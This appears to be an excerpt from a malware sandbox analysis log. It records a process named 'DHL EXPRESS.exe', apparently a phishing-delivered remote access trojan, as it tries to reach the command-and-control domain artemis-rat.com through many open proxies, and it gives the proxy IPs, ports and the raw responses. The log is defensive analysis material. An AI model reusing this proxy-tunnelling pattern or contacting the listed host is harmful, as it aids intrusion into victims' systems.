Mar 11, 2024 18:36:54.491087914 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.8	54431	162.223.91.11	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.107064962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.428926945 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.8	54726	38.54.116.9	8118	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.108206034 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:54.958384991 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:56.261665106 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:58.769125938 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:03.769129992 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:08.769052029 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:13.784564018 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:23.565645933 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:42.971925974 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.8	54745	27.76.193.213	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.109303951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.8	54814	195.235.124.143	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.109409094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.439270020 CET	707	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:54 GMT Server: Apache Content-Length: 531 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.8	54436	47.184.175.164	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.109844923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.560097933 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.14 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:37:19 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3776 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2021 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin
Mar 11, 2024 18:37:29.424114943 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.14 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:37:19 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3776 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2021 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin
Mar 11, 2024 18:37:57.578284979 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.14 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:37:19 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3776 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2021 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.8	54919	65.49.38.202	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.110119104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.286645889 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.8	54763	103.10.99.110	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.112351894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.8	54428	186.148.182.86	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.112366915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.254714012 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 17:36:48 GMT Expires: Mon, 11 Mar 2024 17:36:48 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
